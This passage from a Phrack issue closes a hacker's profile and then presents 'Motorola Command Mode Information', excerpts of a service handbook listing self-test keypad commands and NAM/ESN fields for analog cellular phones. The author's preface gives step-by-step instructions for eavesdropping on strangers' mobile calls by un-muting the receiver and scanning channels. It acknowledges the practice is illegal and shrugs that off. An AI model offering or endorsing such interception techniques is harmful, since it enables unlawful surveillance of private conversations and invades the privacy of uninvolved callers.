Over the last few years, I've written for Phrack, 2600, CoTNo and FUCK. I've wanted to be Phrack editor since Taran King retired. When ErikB told me he was looking to retire from the job, and that I was being considered as the next Phrack editor, it hit me just how big of a responsibility this was. I spoke with ReDragon (Editor of FEH) and daemon9 (Editor of The Infinity Concept). Together, we agreed to set aside our current e‑zine's (I was the current Editor of CoTNo) and focus all of our attention on Phrack. We have received offers of support from many old and new people in the hacking community. I am looking forward to a bright future for Phrack.

Interests

~~~~~~~~~

Women: Sharp and quick

Cars: Big and fast

Food: Spicy to the point of pain Music: Rock and Roll

Favorite performers: Jimmy Buffett, The Eagles

Favorite author: Joel Rosenberg

Favorite Book: Unix Power Tools

Most Memorable Experiences

~~~~~~~~~~~~~~~~~~~~~~~~~~

KL kicking me off #hack for saying that hacking was wrong.

Captain Hemp hiding my address and phone number in a bag of trash.

Reading my first sniffer log.

Getting arrested with Captain Hemp outside of a Southern Bell facility.

Finding the switch with the unpassworded root account.

Being pulled over on the way to HoHoCon while we were moshing in the van.

DeadKat and Cavalier doing the root dance.

Being followed by the security guard with the baby seat.

Major and I *not* getting mugged and beaten by the gang of thieves, even though he could barely stand up and neither of us were carrying at the time.

Some People To Mention

~~~~~~~~~~~~~~~~~~~~~~

Major : You are, at the same time, one of the best people I have ever known and one of the worst people I have ever known. I am just glad I am on your side, and you mine. I trust you with my life, and with a few of the situations we've been through, that's not just talking.

Cavalier : You taught us all what was important in a group. Your steadiness and common sense has helped carry TNO through the dark times. As always, I'm glad to have you here. You can always be counted on, and that means a great deal to me.

The Presence : It is always a pleasure to talk to you. You have taught me more than anyone else in the scene. You will always be one of the best. The strength of your ethics will guide you through where lesser men would fail.

Captain Hemp : There's no one I'd rather be arrested with.

NoCar / K : Congratulations on your new system!

The Final Question

~~~~~~~~~~~~~~~~~~

I have met quite a few hackers. Very few have been "geeks" in the traditional sense of the term. I have met hacker business people, hacker jocks, hacker criminals, hacker stoners, hacker programmers, and hacker skater punks. It's a sport for just about anyone with intelligence, dedication, and absolutely no respect for authority.

________________________________________

Motorola Command Mode Information

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 6 of 18

Motorola Command Mode Information

Written and typed up by Cherokee

NOTE: The following text is only a few pages from an official Motorola handbook that I received, thanks to Ob1.

THIS IS NOT A COMPLETE HANDBOOK

but it is very useful as a guide to learning how to use the self test instructions on the Motorola series of cellular phones.

To actually enter the self test modes, THERE ARE SEVERAL STAGES BEFORE HAND THAT NEED TO BE DONE. They depend upon what type of Motorola mobile phone you possess. To my knowledge, the self test mode instructions are the same on every Motorola phone, the only difference will be how you enter the test mode. That I leave up to you to find out as there are lots of help files already out there, unless, there is a great demand for it.

I will now show you how easy it is to use the test mode to your advantage.

Say, your the average peeping Tom or Sally (what hacker isn't?), this is how to listen in on other peoples mobile conversations.

1.Enter the test mode.

2.Turn the speaker on (08#) also called un‑muting the receive audio. 3.Tune into a channel(11xxxx#) (where x can range from 0 to 600[TACS] and 1329 to 2047[ETACS].)... Although I'm not 100% sure of the channel mapping, (theres conversations in the range between 600 to 1329), you'd do best to stick to playing around with these.

You may have to try several different channels, to pick up a conversation, not every channel is occupied with a user. I suggest you try 0 to 50, this is almost guaranteed to give you a result. BTW, it is actually illegal to monitor mobile communications without the consent of both parties, but hey, whose going to know? :‑)

Displaying information ‑ Some handsets only allow display 1 line, and therefore you wont be able to see all of the information being sent to you. There are 2 ways around this. 1. Is to go and get a handset which can display 2 lines of information. 2. to send the data to your computer to display on the screen, apparently the data is sent and received in an unfamiliar packet format, and will need to be decoded.

FINAL NOTE:

There are several conflicting sources for some commands, this is because of different versions of the ROM, so I'm putting all of the test codes bundled together in this file, and will update the list if there are any significant changes, or I find out about a new command in a later ROM version.

Just one last final note to say hi to Davex[thanks for the NAM guide], Ratscabies, Maelstrom, Hi.T.Moonweed and Ob1.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Motorola Self Test Mode Instructions

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1. INTRODUCTION

Portable radio telephones are equipped for self‑test, allowing service personnel to control and monitor radiotelephone functions via the telephone keypad. The self‑test mode operates at two levels:

1) a status display level, which allows the portable telephone to operate normally while providing status indications in the display and;

2) the service level, which removes the portable telephone from normal service and allows commands to be entered through the keypad to 'manually' control the operation of the radiotelephone.

2. OPERATING PROCEDURES

2.1 STATUS DISPLAY LEVEL OF SELF‑TEST

This level of self‑test is entered by momentarily shorting pin 6 of J2 to ground, while turning the radiotelephone on. The self‑test mode can also be entered using the portable radiotelephone test kit (RTL4228A and RTL4229A).

In this level of self‑test mode the radiotelephone will place and receive calls as normal except the radiotelephone displays status information. The displayed status information alternates between the channel number and RSSI status information, and the primary status information (SAT frequency, carrier state, signaling tone state, power level, voice/data channel mode, and Rx and Tx audio states). The format and explanation of this status information is given in Table 1 under 02# Radio Status Request.

When dialing a phone number, the display of the status in formation ceases when the first digit of the phone number is entered. When the Snd button (or End or Clr) is pressed, the status information display resumes.

2.2 SERVICING LEVEL OF SELF‑TEST

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| NOTE

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| While in the servicing level mode of self‑test, the

| display does not alternate. Only the primary status

| information is displayed.

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The servicing level allows the servicing personnel to take control of the radio operation by entering the test commands through the telephone keypad. Such parameters as operating channel, output power level muting, and data transmission can all be selected by entering the corresponding commands. The servicing level is entered from the status display level by pressing the (#) button. At this time the radio telephones cease to function automatically in the radiotelephone system. Table 1 shows the test commands and the corresponding results.

INTERNATIONAL CELLULAR PORTABLE

Table 1. Test Commands For Self‑Test Mode

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| NOTES:

| 1. Each command consists of at least two digits entered from the telephone | keypad with the entry terminated using the (#) key.

| 2. If the command relates to a test function with multiple data displays, | the (#) key is used to pause at scanning data or to step through | sequential test functions. Entering the (#) key during a pause time | resumes scanning.

| 3. For commands that initiate an action that requires a response or that | accumulates error counts, the (#) key terminates the test.

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Keypad Entry | Command Description | Status | Result

| | | Display |

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| # |Enter Test Command | |

| |Mode | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 01# |Restart (Re‑enter DC | |

| |power startup routine| |

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 02# |Radio Status Request | AAAA=BB | AAAA=Channel Number(decimal)

| | | BB=RSSI reading for channel

| | | CDEFGHI | C=SAT Frequency

| | | 0=5970 Hz

| | | 1=6000 Hz

| | | 2=6030 Hz

| | | 3=No Lock

| | | D=Carrier(1=ON)

| | | E=Signaling Tone(1=ON)

| | | F=Power Attention Level(0‑7)

| | | G=Mode(1=control channel

| | | 0=voice channel

| | | H=Receive Audio Mute(1=muted)

| | | I=Transmit Audio Mute(1=muted)

| | | When the radiotelephone is

| | | operating in the status display

| | | level of self‑test, the

| | | information that is displayed

| | | alternates between AAAA BB

| | | and CDEFGHI. In the servicing

| | | level of self‑test, only the

| | | information designated by

| | | CDEFGHI is displayed.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 03# | (NOT USED) | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 04# | Initialize | | Carrier=OFF

| | Transceiver | | Power Level=0

| | | Receive Audio=MUTED

| | | Transmit Audio=MUTED

| | | Signaling Tone=OFF

| | | SAT=OFF

| | | DTMF & Audio Tones=OFF

| | | Audio Path=TO SPEAKER

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 05# | Carrier On | | Turn carrier on

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 06# | Carrier Off | | Turn carrier off

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| NOTE: Use the PATH command (35A#) to select the audio path to test before | using commands 07# through 10#.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 07# | Rx Mute | | Mute the receive audio

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 08# | Rx Un‑mute | | Un‑mute the receive audio

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 09# | Tx Mute | | Mute the transmit audio

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 10# | Tx Un‑mute | | Un‑mute the transmit audio

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 11ABCD# | Load Synth | | Load synthesizer with ABCD

| | | where ABCD = channel number

| | | in decimal (1329‑2047, 0‑600)

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 12# | Set ATTN | | Set RF power attention to A

| | | where A=attention level(0‑7;

| | | 0=maximum power)

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 13# | RESET OFF | | This command should cause the

| | | Logic Unit to set WATCH DOG

| | | low and result in power‑down

| | | of the radiotelephone.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 14# | STON | | Transmit signaling tone 10khz

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 15# | STOFF | | Stop transmitting signaling

| | | tone 10khz

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 16# | SETUP | | Transmit a five word reverse

| | | control channel message; each

| | | of the five words will be

| | | FF00AA55CC33". The trans‑

| | | mitter de‑keys at end of

| | | message

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 17# | VOICE | | Transmit a two word reverse

| | | voice channel message; both

| | | words will be "FF00AA55CC33".

| | | The transmitter de‑keys at end

| | | of message.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 18# | SEND NAM | | AA = Address BB = Data

| | | Displays contents of NAM, one

| | | address at a time, advanced

| | | by pressing the (*) key.

| | | Note the address goes up to 1f

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 19# | VERSION | | Displays software version

| | | number as "year, week"

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| NOTE: Entering commands 20# through 23# or 27# causes the transceiver to | begin a counting sequence or continuous transmission as described below. | In order to exit from the commands to enter another test command, the (#) | key must be depressed; all other key depressions are ineffectual.

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 20# | RCVS 1 | | Receive control channel

| | | messages counting correctable

| | | and uncorrectable errors.

| | | When the command starts, the

| | | number of the command will be

| | | displayed in the right hand

| | | side of the display. Entering

| | | a # key will terminate the

| | | command and display a two

| | | three digit number in the

| | | display. The first number

| | | is the number of correctable

| | | errors and the second is the

| | | uncorrectable errors.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 21# | RCVV 1 | | Receive voice channel

| | | messages counting correctable

| | | and uncorrectable errors.

| | | When the command starts, the

| | | number of the command will be

| | | displayed in the right hand

| | | side of the display. Entering

| | | a # key will terminate the

| | | command and display a two

| | | three digit number in the

| | | display. The first number

| | | is the number of correctable

| | | errors and the second is the

| | | uncorrectable errors.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 22# | WSTS | | Receive control channel

| | | messages counting word sync

| | | sequence. When the command

| | | starts, the number of the

| | | command will be displayed in

| | | the right side of the display.

| | | Entering a # key will

| | | terminate the command and

| | | display the number of word

| | | sync sequences in the display.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 23# | WSTV | | Receive voice channel

| | | messages counting word sync

| | | sequence. When the command

| | | starts, the number of the

| | | command will be displayed in

| | | the right side of the display.

| | | Entering a # key will

| | | terminate the command and

| | | display the number of word

| | | sync sequences in the display.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 24# | (NOT USED) | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 25A# | SATON | | Enable the transmission of

| | | SAT where A = SAT frequency.

| | | See chart below.

| | | A SAT Freq.

| | | 0 5970 Hz

| | | 1 6000 Hz

| | | 2 6030 Hz

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 26# | SATOFF | | Disable the transmission of

| | | SAT.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 27# | TRANSMIT DATA | | TX continuous control channel

| | | data.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 32# | CLEAR | | Clears non‑volatile memory.

| | | Clears all stored numbers.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 33# | DTMF | | Turn DTMF on.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 34# | DTMF | | Turn DTMF off.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 35# | DISPLAY RSSI | | 'D' series portable only.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 35A# | SET AUDIO PATH | | Where A = the following...

| | | 1 = Speaker

| | | 2 = Microphone

| | | 3 = Earpiece

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 38# | DISPLAY ESN | | Displays ESN in four steps,

| | | hit * till back at start.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 41# | (NOT USED) | | Enables diversity.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 42# | (NOT USED) | | Disables diversity.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 43# | (NOT USED) | | Disables diversity.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 44# | (NOT USED) | | Disables diversity.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 45# | READ RSSI | | Returns the RSSI reading

| | | taken on the current channel.

| | | The number is displayed as a

| | | three digit decimal number.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 46# | (NOT USED) | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 47A# | AUDLEV | | Set audio level where A=level

| | | 0=lowest, 15=highest). The

| | | normal level is 2.

| | | NOTE: Use 8 to 12 only for

| | | DTMF applications.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 48# | SIDETONE ON | | Enable sidetone(Command 05#

| | | must also be executed.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 49# | SIDETONE OFF | | Disable sidetone(Command 06#

| | | must also be executed.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 50# | MAINN | | Not normally used. Tests data

| | | transmission/reception with

| | | transmit path connected

| | | externally to receive path.

| | | Maintenance data is trans‑

| | | mitted and test results

| | | displayed:

| | | PASS= received data is correct

| | | FAIL=2‑second timeout, no data

| | | received, or received data is

| | | incorrect.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 51# | MAINL | | Tests data paths internal to

| | | the logic unit, where

| | | maintenance data is trans‑

| | | mitted and looped back.

| | | Display is as follows:

| | | PASS= received data is correct

| | | FAIL=2‑second timeout, no

| | | looped‑back data, or

| | | looped‑back data is incorrect.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 52A# | (NOT USED) | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 53# | (NOT USED) | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 54# | (NOT USED) | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 55# | DISPLAY/PROGRAM | NAM | Displays the contents of the

| | | NAM, one step at a time, ad‑

| | | vanced by depressing the (*)

| | | key. Only the last 7 digits

| | | of data are displayed. Refer

| | | to NAM programming instruct‑

| | | ions in this manual for progr‑

| | | amming details.

|

| 01. 02051 ‑ System ID umber. Vodaphone=02051 Cellnet=03600 | 02. xxxxxxxx ‑ A option byte (in binary)

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | Local use (bit A7) if set to 1 mobile will | | | 0 | respond to local control orders in the home| | | | area. Assigned by system operator. |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | Preferred system (bit A6) applies to units | | | 0 | capable of operating on two service systems| | | | 0 = system B 1 = system A |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | End‑to‑end signaling (bit A5) when enabled| | | 1 | indicates mobile is equipped for DTMF via | | | | the keys after the landline connection is | | | | made. 1 = enabled 0 = disabled |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | Bit not used (bit A4) |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | Repertory (bit A3) indicates the mobile is | | | 1 | equipped with speed‑dialing storage. | | | | 1 = enabled 0 = disabled |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | Aux alert (bit A2) when enabled, user can | | | 1 | place the mobile in aux alert mode and be | | | | notified of incoming call via an aux device| | | | 1 = enabled 0 = disabled |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | H/F auto mute (bit A1) when enabled, mobile| | | 0 | will automatically be in the mute mode when| | | | a call is made using the hands‑free mode | | | | 1 = enabled 0 = disabled |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | Minmark (bit A0)supplied by system operator| | | 0 | when enabled the users MIN2 will be sent | | | | with each call initiated or answered. | | | | 1 = enabled 0 = disabled |

| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

| 03. xxxxxxxxxx ‑ Mobile phone number

| 04. xxxxxxxxxx ‑ 10 digit min

| 05. 17 ‑ Station class mark

| 06. 09 ‑ Access overload class (15 highest priority) | 07. xxxxxx ‑ Security code

| 08. xxx ‑ Lock code

| 09. xxxxxxxx ‑ B option byte (in binary)

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | bit b7 not used |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | bit b6 not used |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | bit b5 not used |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | Extended field (bit b4) when enabled, the | | | 0 | mobile would scan more than 32 paging ch. | | | | currently not used in UK. |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | Single system scan (bit b3) if set to 1 | | | 1 | the mobile will scan only 1 system based | | | | on the setting of option byte A bit 6 | | | | 1 = enabled 0 = disabled |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | Auto recall (bit b2) this option allows the| | | 1 | user to access repertory by a 1 or 2 digit |

| | | send sequence |

| | | 1 = enabled 0 = disabled |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | Disable service levels (bit b1) if set to 1| | | 0 | service levels couldn't be changed from the|

| | | control unit. |

| | | 0 = enabled 1 = disabled |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | Lock code (bit b0) when enabled, allows the| | | 0 | user to lock and unlock the mobile using | | | | the three digit lock code. | | | | 0 = enabled 1 = disabled |

| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

| 10. xxxxxxxx ‑ C option byte (in binary)

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | User NAM programming (bit c7) when enabled | | | 0 | allows user to program NAM from handset | | | | 0 = enabled 1 = disabled |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | Single/Dual system (bit c6) 0=single 1=dual|

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | Call timer (bit c5) when enabled, the user | | | 0 | can access the call timer. | | | | 0 = enabled 1 = disabled |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 1 | Auto re‑dial (bit c4) | | | | 0 = enabled 1 = disabled |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | Speaker disable (bit c3) enable or disable | | | 1 | handset speaker when fitting hands free | | | | 0 = enabled 1 = disabled |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | bit c2 not used |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | Selectable system (bit c1) allows user to | | | 1 | select primary system. | | | | 0 = enabled 1 = disabled |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | bit c0 not used |

| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

| 11. xxxxxxxx ‑ D option byte (in binary)

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | Max volume (bit d7) sets max vol to step 4 |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | Theft disable (bit d6) when set to 1, theft| | | | alarm is not accessible. |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | Beeper disable (bit d5) 1=disable |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 1 | EXT DTMF(bit d4) when clear, DTMF is routed| | | | directly through APC. |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | Flashing roam (bit d3) if enabled, roam | | | | light will flash when home area roaming. | | | | 1 = enabled 0 = disabled |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | Audio convenience (bit d2) if disabled, | | | 0 | audio levels are re‑centered on power up. | | | | 0 = enabled 1 = disabled |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | Time rx calls (bit d1) call timers will | | | 0 | accumulate on incoming calls when enabled | | | | 1 = enabled 0 = disabled |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | | Charge rate (bit d0) when enabled,telephone| | | 1 | will respond to charge rate information | | | | 1 = enabled 0 = disabled |

| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

| 12. 0023 ‑ Initial paging system 0023=Vodaphone 0323=Cellnet | 13. 0023 ‑ Initial paging channel A

| 14. 0323 ‑ Initial paging channel B

| 15. 021 ‑ Dedicated paging channels

| 16. xxxxxxxx ‑ E option bytes (in binary)

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | bit e7 not used |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | bit e6 not used |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | bit e5 not used |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | bit e4 transportable speaker present |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | bit e3 not used |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | bit e2 not used |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 0 | bit e1 not used |

| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~

| | 1 | Word sync scan disable (bit e0) portable |

| | | use only. |

| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 56# | (NOT USED) | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 57# | (NOT USED) | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 58# | COMPANDER ON | | Turn compander ON

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 59# | COMPANDER OFF | | Turn compander OFF

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 60# and 61# | (NOT USED) | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 61# | ESN TRANSFER | | For series I or 1? and MINI

| | | TACS ‑ Probably Micro TACS.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 62# | RNG‑ON | | Turn the APC ringer audio

| | | path ON.

|‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑

| 63# | RNG‑OFF | | Turn the APC ringer audio

| | | path OFF.

